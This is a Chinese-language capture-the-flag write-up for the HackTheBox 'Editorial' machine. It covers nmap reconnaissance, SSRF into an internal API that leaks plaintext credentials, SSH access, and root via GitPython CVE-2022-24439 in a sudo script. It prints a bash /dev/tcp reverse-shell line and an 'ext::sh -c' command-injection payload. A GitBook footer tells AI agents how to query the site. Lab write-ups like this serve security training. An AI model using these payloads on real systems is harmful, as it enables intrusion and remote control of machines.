> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**技能：**

* SSRF
* Git 日志
* Git Python
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/7051af3fd6002d9a5a480bc1340a29eb53c08a1a" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/6d316bce4d1724b2dadfe87b3fd694ea7063bdb5" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/0497627f6e1f6659a09ee086d49e52c957689aab" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/45f6169c28c7d40d6eac176e3c2e89631c6d4cb3" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/9c90576328f8f343fa1213f5dc8f6bfabbc08b79" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/8378cf0e1cd61cc6c6a82093a100878165d31679" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/85e299bc88aa924d4ea1fa473a077bdf24c2e317" alt=""><figcaption></figcaption></figure>

## 漏洞 [SSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

“Browse”按钮允许我们下载一个文件，该文件本应是一张代表书籍封面的图片。而“与你的书籍关联的封面 URL”文本字段允许你输入一个 URL，以便服务查看并上传图片。

<figure><img src="/files/827ea9b7e67d4a8ed8608facf6a56296c8056ccf" alt=""><figcaption></figcaption></figure>

#### **开篇** [**Burp Suite**](/zh/hacking-tools/web/burpsuite.md)**:**

当图片上传到服务器后，会提供其存储位置的链接。

<figure><img src="/files/5f407d068e303471b3fa2884ac215b5d7945527b" alt=""><figcaption></figcaption></figure>

然后我们对全部 65,535 个端口进行暴力破解，发现只有 5000 端口返回了不同的响应。

<figure><img src="/files/02ce942cb36c29af3a94bf58b3ae81e7e962a35f" alt=""><figcaption></figcaption></figure>

通过检查内部 5000 端口的内容，我们发现它允许下载一个文件。

<figure><img src="/files/dcf8de53c6c2d730ba20c4359a83ae6dacaecc8e" alt=""><figcaption></figcaption></figure>

这个 JSON 格式的文件列出了内部 API 及其对应的路由。其中， `message/authors` 路由似乎特别关键。

<figure><img src="/files/40f3ccfc62997092c9a33c1629645bdf6c0663b2" alt=""><figcaption></figcaption></figure>

因此，借助 Burp Suite，我们通过以下地址经由 5000 端口访问该文件：

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/015b01bf8d621bf872c399f655a6dc18ca4f1002" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/e8262cebc67438ee2526e873598c55bf728a0593" alt=""><figcaption></figcaption></figure>

在这个文件中我们还找到了一个明文的用户名和密码 `dev:dev080217_devAPI!@`

<figure><img src="/files/48861c71a328409113fef247ee660d11771cb96b" alt=""><figcaption></figcaption></figure>

然后我们尝试通过 `SSH` 连接到 22 端口，该端口是开放的，并成功获取了用户 flag。

<figure><img src="/files/bc2b4b86683a521f5d024e161332424484a5687b" alt=""><figcaption></figcaption></figure>

## 权限提升

#### 访问 Linux 服务器后，建议在终端中运行以下命令，以优化工作效率和舒适度：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

通过进入系统根目录，我们看到有两个用户： **dev** 和 **prod**.

<figure><img src="/files/98c82bd275b2a68d00b6920c430caac0094b44f8" alt="" width="543"><figcaption></figcaption></figure>

用户 **dev** 有两个可见文件夹和一个名为“git”的隐藏文件夹。通过运行 `git log` 命令，我们观察到两个不同的提交。

<figure><img src="/files/5b19149369536242283491123697ed6fe231ab6a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aacccdd6c23f2841da49438d24b4b147e7f17e89" alt=""><figcaption></figcaption></figure>

在这些提交中，用户的密码 **prod** 以明文形式出现： `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/74a3a755e5947a79a68e18eac4268efc2f7db067" alt=""><figcaption></figcaption></figure>

然后我们通过 SSH 以用户 **prod**.

<figure><img src="/files/d5047d63f8aa99409b683f2dd5a68a7a76fa7ff4" alt=""><figcaption></figcaption></figure>

### Sudoers：

通过运行 `sudo -l` 命令，我们发现我们能够以脚本的身份运行 **root**.

<figure><img src="/files/bd5f70d5f4501e85e92683b064b61faab0d8961b" alt=""><figcaption></figcaption></figure>

一个存在漏洞的 Git 库版本，可通过 `clone_from` 函数识别。通过使用 `pip3 list`显示 Python 软件包列表，我们注意到 **GitPython 3.1.29** 已安装，这是一个已知存在漏洞 **CVE-2022-24439**的版本，该漏洞允许执行任意代码。可以按如下方式利用此缺陷：

<figure><img src="/files/b3790888d41b526f3117c6b4d60ae3812a57cd08" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

我们将在临时目录中创建一个利用脚本，以获取反向 Shell：

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/3c2d66ece8210d576e203180da3aff089db5921a" alt=""><figcaption></figcaption></figure></div>

然后在我们的机器上使用 **netcat**

<figure><img src="/files/ae14b66e82433b701b3318cb7fee3e6c5b5c539f" alt="" width="502"><figcaption></figcaption></figure>

最后，我们使用 **sudo**运行该二进制文件，添加我们的负载：

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### root flag :)

<div align="right"><figure><img src="/files/7d217eae94617bc1c10b19919cc8d094e0d218ba" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/952a63eef3265e767ceb6c95471a0e0d6678e5cf" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
